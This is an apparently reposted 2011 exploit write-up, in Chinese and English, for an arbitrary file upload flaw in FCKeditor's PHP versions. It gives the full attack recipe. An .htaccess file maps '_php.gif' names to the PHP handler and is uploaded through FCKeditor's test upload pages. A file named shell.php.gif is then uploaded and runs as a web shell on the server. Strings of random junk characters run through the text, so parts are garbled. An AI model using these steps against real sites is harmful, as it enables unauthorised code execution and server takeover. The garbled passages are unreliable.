FCKeditor所有php版本Upload上传漏洞

admin

FCKeditor所有php版本Upload上传漏洞 : I8 g& [" V/ y7 ^* C; D" H8 }作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07 减小字体 增大字体 [+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability 7 B2 ?3 F9 f% M) g% y; |[+] Date: 2011 % L  d* t2 N( M6 x[+] Author : sinesafe.cn [+] Website : WwW.sinesafe.cn ——————————————————— 8 B3 |; {, e" t* u+ }1.create a htaccess file: code: <FilesMatch “_php.gif”> 3 [# [5 n9 d% \- e' HSetHandler application/x-httpd-php 3 R) v( Q! @$ v. b5 r! n9 b: s) d% q</FilesMatch> 2.Now upload this htaccess with FCKeditor. ! U( U; `) L- _) o http://www.sinesafe.cn/FCKeditor ... er/upload/test.html 1 {& @8 }4 R! B& r5 A  m# yhttp://www.sinesafe.cn/FCKeditor ... onnectors/test.html # X( l- K5 o. u9 o ———————————————————————————————- 3.Now upload shell.php.gif with FCKeditor. % L3 Z0 @* f9 S6 \# e4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically. 5.http://www.sinesafe.cn/anything/shell_php.gif 6.Now shell is available from server.

% ]7 F! U% `" Q. r: r, o$ t
1 g, K- c. U$ ~+ m1 Z